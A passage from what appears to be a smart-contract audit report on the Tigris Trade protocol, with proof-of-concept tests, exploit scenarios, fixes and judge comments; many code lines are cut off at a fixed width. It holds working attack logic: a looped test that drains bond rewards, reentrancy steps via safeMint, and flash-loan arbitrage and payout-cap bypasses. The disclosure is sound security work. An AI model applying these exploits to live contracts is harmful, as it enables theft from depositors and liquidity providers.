+       expect(st.hacker).to.be.equals(parseEther(0+700));
+       expect(st.pending1).to.be.closeTo(parseEther(3800+1000+10
+       expect(st.pending2).to.be.closeTo(parseEther(100), gwei);
+       expect(st.pending3).to.be.closeTo(parseEther(1000+1000),
+
+       // first claim of expired bond2
+       await lock.connect(hacker).claim(2);
+       st = await getState();
+       expect(st.bond).to.be.closeTo(TotalRewards.sub(parseEther
+       expect(st.hacker).to.be.closeTo(parseEther(100+700), gwei
+       expect(st.pending1).to.be.gt(parseEther(3800+1000+1000));
+       expect(st.pending2).to.be.eq(parseEther(0));
+       expect(st.pending3).to.be.gt(parseEther(1000+1000));
+
+       // hack
+       const remainReward = st.bond;
+       let pending3 = st.pending3;
+       let i = 0;
+       for (; remainReward.gt(pending3); i++) {
+         // claim expired bond2 repeatedly
+         await lock.connect(hacker).claim(2);
+         // pending3 keeps increasing
+         pending3 = await bond.pending(3);
```

```
+       }
+       console.log(`claim count: ${i}\nremain: ${ethers.utils.fo
+
+       // send diff, then drain rewards in bond
+       await stabletoken.connect(hacker).transfer(bond.address,
+       await lock.connect(hacker).claim(3);
+       st = await getState();
+       // !! bond is drained !!
+       expect(st.bond).to.be.eq(0);
+       // !! hacker gets all rewards !!
+       expect(st.hacker).to.be.eq(TotalRewards.add(parseEther(70
+       expect(st.pending1).to.be.gt(parseEther(3800+1000+1000));
+       expect(st.pending2).to.be.eq(0);
+       expect(st.pending3).to.be.eq(0);
+     });
    });
+
    describe("Withdrawing", function () {
      it("Only expired bonds can be withdrawn", async function ()
       await stabletoken.connect(owner).mintFor(owner.address, e
```

Output:

```
  Bonds
    Rewards
claim count: 41
remain: 7900.000000000000000002
pending3: 8055.7342616570405578

      ✓ Drain BondNFT rewards


  1 passing (4s)
```

Tools Used

VS Code

Recommended Mitigation Steps

I recommend that an expired bond should be forced to `release()`, `claim()` an expired bond should revert.

Sample code:

```
diff --git a/contracts/BondNFT.sol b/contracts/BondNFT.sol
index 33a6e76..77e85ae 100644
--- a/contracts/BondNFT.sol
+++ b/contracts/BondNFT.sol
@@ -148,7 +148,7 @@ contract BondNFT is ERC721Enumerable, Ownable
         amount = bond.amount;
         unchecked {
             totalShares[bond.asset] -= bond.shares;
-            (uint256 _claimAmount,) = claim(_id, bond.owner);
+            (uint256 _claimAmount,) = _claim(_id, bond.owner);
             amount += _claimAmount;
         }
         asset = bond.asset;
@@ -157,8 +157,9 @@ contract BondNFT is ERC721Enumerable, Ownable
         _burn(_id);
         emit Release(asset, lockAmount, _owner, _id);
     }
+
     /**
-     * @notice Claim rewards from a bond
+     * @notice Claim rewards from an unexpired bond
      * @dev Should only be called by a manager contract
      * @param _id ID of the bond to claim rewards from
      * @param _claimer address claiming rewards
@@ -168,6 +169,22 @@ contract BondNFT is ERC721Enumerable, Ownab
     function claim(
         uint _id,
         address _claimer
+    ) public onlyManager() returns(uint amount, address tigAsse
+        Bond memory bond = idToBond(_id);
+        require(!bond.expired, "expired");
+        return _claim(_id, _claimer);
+    }
+
+    /**
+     * @notice Claim rewards from a releasing bond or an unexpi
+     * @param _id ID of the bond to claim rewards from
+     * @param _claimer address claiming rewards
+     * @return amount amount of tigAsset claimed
+     * @return tigAsset tigAsset token address
+     */
+    function _claim(
+        uint _id,
```

```
+         address _claimer
      ) public onlyManager() returns(uint amount, address tigAsse
          Bond memory bond = idToBond(_id);
          require(_claimer == bond.owner, "!owner");
```

TriHaz (Tigris Trade) confirmed

Alex the Entreprenerd (judge) commented:

> The warden has shown how, due to an inconsistent implementation of Bond State change, how they could repeatedly claim rewards for an expired bond, stealing value from all other depositors.

> Because the findings doesn't just deny yield to others, but allows a single attacker to seize the majority of the yield rewards, leveraging a broken invariant, I agree with High Severity.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419174442

[H-06] Incorrect calculation of new price while adding position

Submitted by KingNFT

The formula used for calculating `_newPrice` in `addToPosition()` function of Trading.sol is not correct, users will lose part of their funds/profit while using this function.

The wrong formula

```
uint _newPrice = _trade.price*_trade.margin/_newMargin + _price*
```

The correct formula is

```
uint _newPrice = _trade.price * _price * _newMargin /  (_trade.ma
```

Why this works?

Given

```
P1 = _trade.price
P2 = _price
P = _newPrice
M1 = _trade.margin
M2 = _addMargin
M =  M1 + M2 = _newMargin
L = _trade.leverage
U1 = M1 * L  = old position in USD
U2 = M2 * L = new position in USD
U = U1 + U2 = total position in USD
E1 = U1 / P1 = old position of base asset, such as ETH, of the pa
E2 = U2 / P2 = new position of base asset of the pair
E = E1 + E2 = total position of base asset of the pair
```

Then

```
P = U / E
  = (U1 + U2) / (E1 + E2)
  = (M1 * L + M2 * L) / (U1 / P1 + U2 / P2)
  = P1 * P2 * (M1 * L + M2 * L) / (U1 * P2 + U2 * P1)
  = P1 * P2 * (M1 + M2) * L / (M1 * L * P2 + M2 * L * P1)
  = P1 * P2 * (M1 + M2) * L / [(M1 * P2 + M2 * P1) * L]
  = P1 * P2 * M / (M1 * P2 + M2 * P1)
```

proven.

Proof of Concept

The following test case shows two examples that users lose some funds due to adding a new position whenever their existing position is in profit or loss state.

```
const { expect } = require("chai");
```

```
const { deployments, ethers, waffle } = require("hardhat");
const { parseEther, formatEther } = ethers.utils;
const { signERC2612Permit } = require('eth-permit');
const exp = require("constants");

describe("Incorrect calculation of new margin price while adding
  let owner;
  let node;
  let user;
  let node2;
  let node3;
  let proxy;

  let Trading;
  let trading;

  let TradingExtension;
  let tradingExtension;

  let TradingLibrary;
  let tradinglibrary;

  let StableToken;
  let stabletoken;

  let StableVault;
  let stablevault;

  let position;

  let pairscontract;
  let referrals;

  let permitSig;
  let permitSigUsdc;

  let MockDAI;
  let mockdai;
  let MockUSDC;
  let mockusdc;

  let badstablevault;

  let chainlink;

  beforeEach(async function () {
```

```
  await deployments.fixture(['test']);
  [owner, node, user, node2, node3, proxy] = await ethers.getS
  StableToken = await deployments.get("StableToken");
  stabletoken = await ethers.getContractAt("StableToken", Stab
  Trading = await deployments.get("Trading");
  trading = await ethers.getContractAt("Trading", Trading.addr
  await trading.connect(owner).setMaxWinPercent(5e10);
  TradingExtension = await deployments.get("TradingExtension")
  tradingExtension = await ethers.getContractAt("TradingExtens
  const Position = await deployments.get("Position");
  position = await ethers.getContractAt("Position", Position.a
  MockDAI = await deployments.get("MockDAI");
  mockdai = await ethers.getContractAt("MockERC20", MockDAI.ad
  MockUSDC = await deployments.get("MockUSDC");
  mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.
  const PairsContract = await deployments.get("PairsContract")
  pairscontract = await ethers.getContractAt("PairsContract",
  const Referrals = await deployments.get("Referrals");
  referrals = await ethers.getContractAt("Referrals", Referral
  StableVault = await deployments.get("StableVault");
  stablevault = await ethers.getContractAt("StableVault", Stab
  await stablevault.connect(owner).listToken(MockDAI.address);
  await stablevault.connect(owner).listToken(MockUSDC.address)
  await tradingExtension.connect(owner).setAllowedMargin(Stable
  await tradingExtension.connect(owner).setMinPositionSize(Sta
  await tradingExtension.connect(owner).setNode(node.address,
  await tradingExtension.connect(owner).setNode(node2.address,
  await tradingExtension.connect(owner).setNode(node3.address,
  await network.provider.send("evm_setNextBlockTimestamp", [20
  await network.provider.send("evm_mine");
  permitSig = await signERC2612Permit(owner, MockDAI.address,
  permitSigUsdc = await signERC2612Permit(owner, MockUSDC.addr

  const BadStableVault = await ethers.getContractFactory("BadS
  badstablevault = await BadStableVault.deploy(StableToken.add

  const ChainlinkContract = await ethers.getContractFactory("M
  chainlink = await ChainlinkContract.deploy();

  TradingLibrary = await deployments.get("TradingLibrary");
  tradinglibrary = await ethers.getContractAt("TradingLibrary"
  await trading.connect(owner).setLimitOrderPriceRange(1e10);
});


describe("Initial margin $500, leverage 2x, position $1000, pr
```

```
let orderId;
let initPrice = parseEther("1000");
beforeEach(async function () {
  // To simpliy the problem, set fees to 0
  await trading.setFees(true, 0, 0, 0, 0, 0);
  await trading.setFees(false, 0, 0, 0, 0, 0);

  let TradeInfo = [parseEther("500"), MockDAI.address, Stable
  let PriceData = [node.address, 1, initPrice, 0, 2000000000
  let message = ethers.utils.keccak256(
    ethers.utils.defaultAbiCoder.encode(
      ['address', 'uint256', 'uint256', 'uint256', 'uint256'
      [node.address, 1, initPrice, 0, 2000000000, false]
    )
  );
  let sig = await node.signMessage(
    Buffer.from(message.substring(2), 'hex')
  );

  let PermitData = [permitSig.deadline, ethers.constants.Max
  orderId = await position.getCount();
  await trading.connect(owner).initiateMarketOrder(TradeInfo
  expect(await position.assetOpenPositionsLength(1)).to.equa
  let trade = await position.trades(orderId);
  let marginAfterFee = trade.margin;
  expect(marginAfterFee.eq(parseEther('500'))).to.equal(true
  expect(trade.price.eq(parseEther('1000'))).to.be.true;
  expect(trade.leverage.eq(parseEther('2'))).to.be.true;
});

it.only("Add position with new price $2000 and new margin $5
  // The price increases from $1000 to $2000, the old positi
  // The expected PnL payout = old margin + earned profit +
  //                         = $500 + $1000 + $500
  //                         = $2000
  let addingPrice = parseEther('2000');
  let addingPriceData = [node.address, 1, addingPrice, 0, 20
  let addingMessage = ethers.utils.keccak256(
    ethers.utils.defaultAbiCoder.encode(
      ['address', 'uint256', 'uint256', 'uint256', 'uint256'
      [node.address, 1, addingPrice, 0, 2000000000, false]
    )
  );
  let addingSig = await node.signMessage(
    Buffer.from(addingMessage.substring(2), 'hex')
  );
```

```
      let PermitData = [permitSig.deadline, ethers.constants.Max
      await trading.connect(owner).addToPosition(orderId, parseE

      let trade = await position.trades(orderId);
      let pnl = await tradinglibrary.pnl(trade.direction, adding
        trade.margin, trade.leverage, trade.accInterest);
      expect(pnl._payout.gt(parseEther('1666'))).to.be.true;
      expect(pnl._payout.lt(parseEther('1667'))).to.be.true;
    });

    it.only("Add position with new price $750 and new margin $50
      // The price decreases from $1000 to $750, the old positio
      // The expected PnL payout = old margin - loss + new margi
      //                         = $500 - $250 + $500
      //                         = $750
      let addingPrice = parseEther('750');
      let addingPriceData = [node.address, 1, addingPrice, 0, 20
      let addingMessage = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256'
          [node.address, 1, addingPrice, 0, 2000000000, false]
        )
      );
      let addingSig = await node.signMessage(
        Buffer.from(addingMessage.substring(2), 'hex')
      );

      let PermitData = [permitSig.deadline, ethers.constants.Max
      await trading.connect(owner).addToPosition(orderId, parseE

      let trade = await position.trades(orderId);
      let pnl = await tradinglibrary.pnl(trade.direction, adding
        trade.margin, trade.leverage, trade.accInterest);
      expect(pnl._payout.gt(parseEther('714'))).to.be.true;
      expect(pnl._payout.lt(parseEther('715'))).to.be.true;
    });

  });
});
```

The test result

Incorrect calculation of new margin price while adding position

```
    Initial margin $500, leverage 2x, position $1000, price $100
      √ Add position with new price $2000 and new margin $500, e
      √ Add position with new price $750 and new margin $500, ex
```

Tools Used

Hardhat

Recommended Mitigation Steps

Use the correct formula, the following test case is for the same above examples after fix.

```
const { expect } = require("chai");
const { deployments, ethers, waffle } = require("hardhat");
const { parseEther, formatEther } = ethers.utils;
const { signERC2612Permit } = require('eth-permit');
const exp = require("constants");

describe("Correct calculation of new margin price while adding p
  let owner;
  let node;
  let user;
  let node2;
  let node3;
  let proxy;

  let Trading;
  let trading;

  let TradingExtension;
  let tradingExtension;

  let TradingLibrary;
  let tradinglibrary;

  let StableToken;
  let stabletoken;

  let StableVault;
  let stablevault;

  let position;
```

```
let pairscontract;
let referrals;

let permitSig;
let permitSigUsdc;

let MockDAI;
let mockdai;
let MockUSDC;
let mockusdc;

let badstablevault;

let chainlink;

beforeEach(async function () {
  await deployments.fixture(['test']);
  [owner, node, user, node2, node3, proxy] = await ethers.getS
  StableToken = await deployments.get("StableToken");
  stabletoken = await ethers.getContractAt("StableToken", Stab
  Trading = await deployments.get("Trading");
  trading = await ethers.getContractAt("Trading", Trading.addr
  await trading.connect(owner).setMaxWinPercent(5e10);
  TradingExtension = await deployments.get("TradingExtension")
  tradingExtension = await ethers.getContractAt("TradingExtens
  const Position = await deployments.get("Position");
  position = await ethers.getContractAt("Position", Position.a
  MockDAI = await deployments.get("MockDAI");
  mockdai = await ethers.getContractAt("MockERC20", MockDAI.ad
  MockUSDC = await deployments.get("MockUSDC");
  mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.
  const PairsContract = await deployments.get("PairsContract")
  pairscontract = await ethers.getContractAt("PairsContract",
  const Referrals = await deployments.get("Referrals");
  referrals = await ethers.getContractAt("Referrals", Referral
  StableVault = await deployments.get("StableVault");
  stablevault = await ethers.getContractAt("StableVault", Stab
  await stablevault.connect(owner).listToken(MockDAI.address);
  await stablevault.connect(owner).listToken(MockUSDC.address)
  await tradingExtension.connect(owner).setAllowedMargin(Stable
  await tradingExtension.connect(owner).setMinPositionSize(Sta
  await tradingExtension.connect(owner).setNode(node.address,
  await tradingExtension.connect(owner).setNode(node2.address,
  await tradingExtension.connect(owner).setNode(node3.address,
  await network.provider.send("evm_setNextBlockTimestamp", [20
  await network.provider.send("evm_mine");
```

```
  permitSig = await signERC2612Permit(owner, MockDAI.address, 
  permitSigUsdc = await signERC2612Permit(owner, MockUSDC.addr

  const BadStableVault = await ethers.getContractFactory("BadS
  badstablevault = await BadStableVault.deploy(StableToken.add

  const ChainlinkContract = await ethers.getContractFactory("M
  chainlink = await ChainlinkContract.deploy();

  TradingLibrary = await deployments.get("TradingLibrary");
  tradinglibrary = await ethers.getContractAt("TradingLibrary"
  await trading.connect(owner).setLimitOrderPriceRange(1e10);
});


describe("Initial margin $500, leverage 2x, position $1000, pr
  let orderId;
  let initPrice = parseEther("1000");
  beforeEach(async function () {
    // To simpliy the problem, set fees to 0
    await trading.setFees(true, 0, 0, 0, 0, 0);
    await trading.setFees(false, 0, 0, 0, 0, 0);

    let TradeInfo = [parseEther("500"), MockDAI.address, Stabl
    let PriceData = [node.address, 1, initPrice, 0, 2000000000
    let message = ethers.utils.keccak256(
      ethers.utils.defaultAbiCoder.encode(
        ['address', 'uint256', 'uint256', 'uint256', 'uint256'
        [node.address, 1, initPrice, 0, 2000000000, false]
      )
    );
    let sig = await node.signMessage(
      Buffer.from(message.substring(2), 'hex')
    );

    let PermitData = [permitSig.deadline, ethers.constants.Max
    orderId = await position.getCount();
    await trading.connect(owner).initiateMarketOrder(TradeInfo
    expect(await position.assetOpenPositionsLength(1)).to.equa
    let trade = await position.trades(orderId);
    let marginAfterFee = trade.margin;
    expect(marginAfterFee.eq(parseEther('500'))).to.equal(true
    expect(trade.price.eq(parseEther('1000'))).to.be.true;
    expect(trade.leverage.eq(parseEther('2'))).to.be.true;
  });
```

```
it.only("Add position with new price $2000 and new margin $5
  // The price increases from $1000 to $2000, the old positi
  // The expected PnL payout = old margin + earned profit + 
  //                         = $500 + $1000 + $500
  //                         = $2000
  let addingPrice = parseEther('2000');
  let addingPriceData = [node.address, 1, addingPrice, 0, 20
  let addingMessage = ethers.utils.keccak256(
    ethers.utils.defaultAbiCoder.encode(
      ['address', 'uint256', 'uint256', 'uint256', 'uint256'
      [node.address, 1, addingPrice, 0, 2000000000, false]
    )
  );
  let addingSig = await node.signMessage(
    Buffer.from(addingMessage.substring(2), 'hex')
  );

  let PermitData = [permitSig.deadline, ethers.constants.Max
  await trading.connect(owner).addToPosition(orderId, parseE

  let trade = await position.trades(orderId);
  let pnl = await tradinglibrary.pnl(trade.direction, adding
    trade.margin, trade.leverage, trade.accInterest);
  expect(pnl._payout.gt(parseEther('1999.99999'))).to.be.tru
  expect(pnl._payout.lt(parseEther('2000'))).to.be.true;
});

it.only("Add position with new price $750 and new margin $50
  // The price decreases from $1000 to $750, the old positio
  // The expected PnL payout = old margin - loss + new margi
  //                         = $500 - $250 + $500
  //                         = $750
  let addingPrice = parseEther('750');
  let addingPriceData = [node.address, 1, addingPrice, 0, 20
  let addingMessage = ethers.utils.keccak256(
    ethers.utils.defaultAbiCoder.encode(
      ['address', 'uint256', 'uint256', 'uint256', 'uint256'
      [node.address, 1, addingPrice, 0, 2000000000, false]
    )
  );
  let addingSig = await node.signMessage(
    Buffer.from(addingMessage.substring(2), 'hex')
  );

  let PermitData = [permitSig.deadline, ethers.constants.Max
  await trading.connect(owner).addToPosition(orderId, parseE
```

```
        let trade = await position.trades(orderId);
        let pnl = await tradinglibrary.pnl(trade.direction, adding
          trade.margin, trade.leverage, trade.accInterest);
        expect(pnl._payout.gt(parseEther('749.99999'))).to.be.true
        expect(pnl._payout.lt(parseEther('750'))).to.be.true;
      });

    });
  });
```

The test result

```
  Correct calculation of new margin price while adding position
      Initial margin $500, leverage 2x, position $1000, price $100
        √ Add position with new price $2000 and new margin $500, e
        √ Add position with new price $750 and new margin $500, ex
```

TriHaz (Tigris Trade) confirmed

Alex the Entreprenerd (judge) commented:

> The warden has shown how, using `addToPosition` can cause the payout math to become incorrect, because this highlights an issue with the math of the protocol, which will impact its functionality, I believe High Severity to be appropriate.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419174986

[H-07] reentrancy attack during `mint()` function in Position contract which can lead to removing of the other user's limit orders or stealing contract funds because initId is set low value

Submitted by unforgiven, *also found by* wait, rotcivegaf, 0xsomeone, hihen, KingNFT, mookimgo, debo, *and* stealthyz

Function `Position.mint()` has been used in `initiateLimitOrder()` and `initiateMarketOrder()` and it doesn't follow check-effect-interaction pattern and code updates the values of `_limitOrders`, `initId`, `_openPositions` and `position _tokenIds` variables after making external call by using `safeMint()`. This would give the attacker opportunity to reenter the Trading contract logics and perform malicious actions while the contract storage state is wrong. The only limitation of the attacker is that he needs to bypass `_checkDelay()` checks. Attacker can perform this action:

1. Call `initiateLimitOrder()` and create limit order with id equal to ID1 reenter (while `_limitOrders` for ID1 is not yet settled) with `cancelLimitOrder(ID1)` (no `checkDelay()` check) and remove other users limit orders because code would try to remove `_limitOrderIndexes[_asset][ID1]` position but the value is 0 and code would remove limit order in the index 0 which belongs to another user in the `Position.burn()` code.
2. Call `initiateMarketOrder()` and create a position with ID1 and while `initId[ID1]` has not yet settled reenter the Trading with `addToPosition(ID1)` function (bypass `checkDelay()` because both action is opening) and increase the position size which would set `initId[ID1]` according to new position values but then when code execution returns to rest of `mint()` logic `initId[ID1]` would set by initial values of the positions which is very lower than what it should be and `initId[ID1]` has been used for calculating `accuredInterest` of the position which is calculated for profit and loss of position and contract would calculate more profit for position and would pay attacker more profit from contract balances.

Proof of Concept

This is `mint()` code in Position contract:

```
    function mint(
        MintTrade memory _mintTrade
    ) external onlyMinter {
        uint newTokenID = _tokenIds.current();

        Trade storage newTrade = _trades[newTokenID];
        newTrade.margin = _mintTrade.margin;
        newTrade.leverage = _mintTrade.leverage;
```

```
            newTrade.asset = _mintTrade.asset;
            newTrade.direction = _mintTrade.direction;
            newTrade.price = _mintTrade.price;
            newTrade.tpPrice = _mintTrade.tp;
            newTrade.slPrice = _mintTrade.sl;
            newTrade.orderType = _mintTrade.orderType;
            newTrade.id = newTokenID;
            newTrade.tigAsset = _mintTrade.tigAsset;

            _safeMint(_mintTrade.account, newTokenID);   // make ext
            if (_mintTrade.orderType > 0) { // update the values of
                _limitOrders[_mintTrade.asset].push(newTokenID);
                _limitOrderIndexes[_mintTrade.asset][newTokenID] = _
            } else {
                initId[newTokenID] = accInterestPerOi[_mintTrade.ass
                _openPositions.push(newTokenID);
                _openPositionsIndexes[newTokenID] = _openPositions.l

                _assetOpenPositions[_mintTrade.asset].push(newTokenI
                _assetOpenPositionsIndexes[_mintTrade.asset][newToke
            }
            _tokenIds.increment();
        }
```

As you can see by calling `_safeMint()`, code would make external call to `onERC721Received()` function of the account address and the code sets the values for `_limitOrders[]`, `_limitOrderIndexes[]`, `initId[]`, `_openPositions[]`, `_openPositionsIndexes[]`, `_assetOpenPositions[]`, `_assetOpenPositionsIndexes[]` and `_tokenIds`. So code doesn't follow check-effect-interaction pattern and it's possible to perform reentrancy attack.

There could be multiple scenarios that the attacker can perform the attack and do some damage. Two of them are:

Scenario #1 where attacker removes other users limit orders and create broken storage state

1. Attacker contract would call `initiateLimitOrder()` and code would create the limit order and mint it in the `Position._safeMint()` with ID1.
2. Then code would call attacker address in `_safeMint()` function because of the `onERC721Received()` call check.

3. Variables `_limitOrders[]`, `_limitOrderIndexes[ID1]` are not yet updated for ID1 and `_limitOrderIndexes[ID1]` is 0x0 and ID1 is not in `_limitOrder[]` list.
4. Attacker contract would reenter the Trading contract by calling `cancelLimitOrder(ID1)`.
5. `cancelLimitOrder()` checks would pass and would try to call `Position.burn(ID1)`.
6. `burn()` function would try to remove ID1 from `_limitOrders[]` list but because `_limitOrderIndexes[ID1]` is 0, the code would remove the 0 index limit order which belongs to another user.
7. Execution would return to `Position.mint()` logic and code would add burned id token to `_limitOrder[]` list.

So there are two impacts here. First, other users limit orders get removed. The second is that contract storage had a bad state and burned tokens get stock in the list.

Scenario #2 where attacker steal contract/users funds by wrong profit calculation

1. Attacker's contract would call `initiateMarketOrder(lowMargin)` to create position with ID1 while the margin is low.
2. Code would mint position token for attacker and in `_safeMint()` would make external call and call `onERC721Received()` function of attacker address.
3. The value of `initId[ID1]` is not yet set for ID1.
4. Attacker contract would call `addToPosition(ID1, bigMargin)` to increase the margin of the position the `_checkDelay()` check would pass because both actions are opening position.
5. Code would increase the margin of the position and set the value of the `initId[ID1]` by calling `position.addToPosition()` and the value would be based on the `newMargin`.
6. The execution flow would receive the rest of `Position.mint()` function and code would set `initId[ID1]` based on old margin value.
7. Then the value of `initId[ID1]` for attacker position would be very low, which would cause `accInterest` to be higher than it's supposed to be for position(in `Position.trades()` function calculations) and would cause `_payout` value to

be very high (in `pnl()` function's calculations) and when attacker close position ID1 attacker would receive a lot more profit from it.

So attacker created a position with a lot of profit by reentering the logics and manipulating calculation of the profits for the position.

There can be other scenarios possible to perform and damage the protocol or users because there is no reentrancy protection mechanism and attacker only need to bypass validity checks of functions.

Tools Used

VIM

Recommended Mitigation Steps

Follow the check-effect-interaction pattern.

TriHaz (Tigris Trade) confirmed

Alex the Entreprenerd (judge) commented:

> In contrast to other CEI reports, this report shows how control can be gained in the middle of the mint execution to create an inconsistent state.

> The warden has shown how, because `mint` doesn't follow CEI conventions, by reEntering via safeMint, an attacker can manipulate the state of limit orders, and also benefit by changing profit calculations.

> Because the finding shows how to break invariants and profit from it, I agree with High Severity.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419175911

[H-08] Incorrect Assumption of Stablecoin Market Stability

Submitted by Oxsomeone, *also found by* Critical, __141345__, Tointer, Secureverse, SamGMK, rotcivegaf, 0xhacksmithh, 8olidity, Ruhum, *and* aviggiano

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/StableVault.sol#L39-L51

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/StableVault.sol#L60-L72

Impact

The `StableVault` contract attempts to group all types of stablecoins under a single token which can be minted for any of the stablecoins supported by the system as well as burned for any of them.

This is at minimum a medium-severity vulnerability as the balance sheet of the `StableVault` will consist of multiple assets which do not have a one-to-one exchange ratio between them as can be observed by trading pools such as Curve as well as the Chainlink oracle reported prices themselves.

Given that the contract exposes a 0% slippage 1-to-1 exchange between assets that in reality have varying prices, the balance sheet of the contract can be arbitraged (especially by flash-loans) to swap an undesirable asset (i.e. USDC which at the time of submission was valued at `0.99994853` USD) for a more desirable asset (i.e. USDT which at the time of submission was valued at `1.00000000` USD) acquiring an arbitrage in the price by selling the traded asset.

Proof of Concept

To illustrate the issue, simply view the exchange output you would get for swapping your USDC to USDT in a stablecoin pool (i.e. CurveFi) and then proceed to invoke `deposit` with your USDC asset and retrieve your incorrectly calculated `USDT` equivalent via `withdraw`.

The arbitrage can be observed by assessing the difference in the trade outputs and can be capitalized by selling our newly acquired `USDT` for `USDC` on the stablecoin pair we assessed earlier, ultimately ending up with a greater amount of `USDC` than we started with. This type of attack can be extrapolated by utilizing a flash-loan rather than our personal funds.

Tools Used

Chainlink oracle resources

Curve Finance pools

Recommended Mitigation Steps

We advise the `StableVault` to utilize Chainlink oracles for evaluating the inflow of assets instead, ensuring that all inflows and outflows of stablecoins are fairly evaluated based on their "neutral" USD price rather than their subjective on-chain price or equality assumption.

Alex the Entreprenerd (judge) increased severity to High and commented:

> The warden has shown how, due to an incorrect assumption, the system offers infinite leverage.
>
> This can be trivially exploited by arbitraging with any already available exchange.
>
> Depositors will incur a loss equal to the size of the arbitrage as the contract is always taking the losing side.
>
> I believe this should be High because of it's consistently losing nature.

TriHaz (Tigris Trade) acknowledged and commented:

> We are aware of this issue, we will keep the vault with one token for now.

[H-09] Users can bypass the `maxWinPercent` limit using a partially closing

Submitted by hansfriese*, also found by* 0x52*,* 0xA5DF*, and* bin2chen

Users can bypass the `maxWinPercent` limit using a partial closing.

As a result, users can receive more funds than their upper limit from the protocol.

Proof of Concept

As we can see from the **documentation**, there is limitation of a maximum PnL.

```
Maximum PnL is +500%. The trade won't be closed unless the user
```

And this logic was implemented like below in `_closePosition()`.

```
File: 2022-12-tigris\contracts\Trading.sol
624:                 _toMint = _handleCloseFees(_trade.asset, ui
625:                 if (maxWinPercent > 0 && _toMint > _trade.m
626:                     _toMint = _trade.margin*maxWinPercent/D
627:                 }
```

But it checks the `maxWinPercent` between the partial payout and full margin so the below scenario is possible.

1. Alice opened an order of margin = 100 and PnL = 1000 after taking closing fees.
2. If `maxWinPercent` = 500%, Alice should receive 500 at most.
3. But Alice closed 50% of the position and she got 500 for a 50% margin because it checks `maxWinPercent` with `_toMint = 500` and `_trade.margin = 100`
4. After she closed 50% of the position, the remaining margin = 50 and PnL = 500 so she can continue step 3 again and again.
5. As a result, she can withdraw almost 100% of the initial PnL(1000) even though she should receive at most 500.

Recommended Mitigation Steps

We should check the `maxWinPercent` between the partial payout and partial margin like below.

```
        _toMint = _handleCloseFees(_trade.asset, uint256(_payout)*_p

        uint256 partialMarginToClose = _trade.margin * _percent / DI
        if (maxWinPercent > 0 && _toMint > partialMarginToClose*maxW
            _toMint = partialMarginToClose*maxWinPercent/DIVISION_CO
        }
```

TriHaz (Tigris Trade) confirmed, but disagreed with severity and commented:

> I would label this as Medium risk as a +500% win is required so assets are not in a direct risk.

Alex the Entreprenerd (judge) commented:

> The Warden has shown how, by partially closing an order, it is possible to bypass the `maxWinPercent` cap.

> Per similar discussion to #111 the fact that not every trade can be above 500% in payout is not a guarantee that some trade will be, and those that will, will cause the invariant to be broken and LPs to be deeper in the red than they should.

> Because this causes an immediate gain to the attacker, at a loss for LPs, I agree with High Severity.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419176771

[H-10] User can abuse tight stop losses and high leverage to make risk free trades

Submitted by 0x52*, also found by* hansfriese *and* noot

User can abuse how stop losses are priced to open high leverage trades with huge upside and very little downside.

Proof of Concept

```
    function limitClose(
        uint _id,
        bool _tp,
        PriceData calldata _priceData,
        bytes calldata _signature
    )
```

```
    external
{
    _checkDelay(_id, false);
    (uint _limitPrice, address _tigAsset) = tradingExtension._li
    _closePosition(_id, DIVISION_CONSTANT, _limitPrice, address(
}

function _limitClose(
    uint _id,
    bool _tp,
    PriceData calldata _priceData,
    bytes calldata _signature
) external view returns(uint _limitPrice, address _tigAsset) {
    _checkGas();

    IPosition.Trade memory _trade = position.trades(_id);
    _tigAsset = _trade.tigAsset;
    getVerifiedPrice(_trade.asset, _priceData, _signature, 0);
    uint256 _price = _priceData.price;
    if (_trade.orderType != 0) revert("4"); //IsLimit
    if (_tp) {
        if (_trade.tpPrice == 0) revert("7"); //LimitNotSet
        if (_trade.direction) {
            if (_trade.tpPrice > _price) revert("6"); //LimitNotI
        } else {
            if (_trade.tpPrice < _price) revert("6"); //LimitNotI
        }
        _limitPrice = _trade.tpPrice;
    } else {
        if (_trade.slPrice == 0) revert("7"); //LimitNotSet
        if (_trade.direction) {
            if (_trade.slPrice < _price) revert("6"); //LimitNotI
        } else {
            if (_trade.slPrice > _price) revert("6"); //LimitNotI
        }
        //@audit stop loss is closed at user specified price NOT
        _limitPrice = _trade.slPrice;
    }
}
```

When closing a position with a stop loss the user is closed at their SL price rather than the current price of the asset. A user could abuse this in directional markets with high leverage to make nearly risk free trades. A user could open a long with a stop loss that in $0.01 below the current price. If the price tanks immediately on the next update

then they will be closed out at their entrance price, only out the fees to open and close their position. If the price goes up then they can make a large gain.

Recommended Mitigation Steps

Take profit and stop loss trades should be executed at the current price rather than the price specified by the user:

```
            if (_trade.tpPrice == 0) revert("7"); //LimitNotSet
            if (_trade.direction) {
                if (_trade.tpPrice > _price) revert("6"); //LimitNotI
            } else {
                if (_trade.tpPrice < _price) revert("6"); //LimitNotI
            }
-           _limitPrice = _trade.tpPrice;
+           _limitPrice = _price;
        } else {
            if (_trade.slPrice == 0) revert("7"); //LimitNotSet
            if (_trade.direction) {
                if (_trade.slPrice < _price) revert("6"); //LimitNotI
            } else {
                if (_trade.slPrice > _price) revert("6"); //LimitNotI
            }
-           _limitPrice = _trade.slPrice;
+           _limitPrice = _price;
```

[TriHaz (Tigris Trade) disputed and commented](#):

> Because of open fees, close fees and spread, that wouldn't be profitable.

> We also have a cooldown after a trade is opened so there will be enough time for price to move freely past the sl.

[Alex the Entreprenerd (judge) commented](#):

> The warden has shown a flaw in how the protocol offers Stop Losses.

> By using the originally stored value for Stop Loss, instead of just using it as a trigger, an attacker can perform a highly profitable strategy on the system as they know that their max risk is capped by the value of the Stop Loss, instead of the current asset price.

> This will happen at the detriment of LPs.

> Because the attack breaks an important invariant, causing a loss to other users, I agree with High Severity.

[H-11] Not enough margin pulled or burned from user when adding to a position

